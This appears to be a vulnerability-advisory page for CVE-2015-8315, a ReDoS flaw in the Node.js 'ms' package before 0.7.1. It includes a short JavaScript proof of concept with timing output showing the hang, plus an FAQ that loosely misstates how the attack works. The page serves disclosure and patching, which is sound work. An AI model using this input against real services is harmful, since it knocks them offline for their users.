CVE-2015-8315: High severity Vercel Ms Node.js vulnerability
The ms package before 0.7.1 for Node.js allows attackers to cause a denial of service (CPU consumption) via a long version string, aka a "regular expression denial of service (ReDoS)."
Other sources
The Node.js ms module is vulnerable to a denial of service, caused by an error in the regular expression implementation. An attacker could exploit this vulnerability using a regular expression to cause the application to hang.
— IBM
Versions of ms prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.
Proof of Concept javascript var ms = require('ms'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; }
return result; }
ms(genstr(process.argv[2], "5") + " minutea");
Results Showing increase in execution time based on the input string. $ time node ms.js 10000
real 0m0.758s user 0m0.724s sys 0m0.031s
$ time node ms.js 20000
real 0m2.580s user 0m2.494s sys 0m0.047s
$ time node ms.js 30000
real 0m5.747s user 0m5.483s sys 0m0.080s
$ time node ms.js 80000
real 0m41.022s user 0m38.894s sys 0m0.529s
— GitHub
Affected Software
Event History
Frequently Asked Questions
What is CVE-2015-8315?
CVE-2015-8315 is a vulnerability in the Node.js ms package which allows attackers to cause a denial of service by exploiting a regular expression implementation error.
What is the severity of CVE-2015-8315?
CVE-2015-8315 has a severity rating of 7.5 (high).
Which software version is affected by CVE-2015-8315?
The ms package before version 0.7.1 for Node.js is affected by CVE-2015-8315.
How can an attacker exploit CVE-2015-8315?
An attacker can exploit CVE-2015-8315 by using a regular expression to cause the application to hang.
Are there any references for CVE-2015-8315?
Yes, you can find references for CVE-2015-8315 at the following URLs: [https://exchange.xforce.ibmcloud.com/vulnerabilities/112567](https://exchange.xforce.ibmcloud.com/vulnerabilities/112567), [https://www.ibm.com/support/pages/node/6214472](https://www.ibm.com/support/pages/node/6214472), [http://www.openwall.com/lists/oss-security/2016/04/20/11](http://www.openwall.com/lists/oss-security/2016/04/20/11).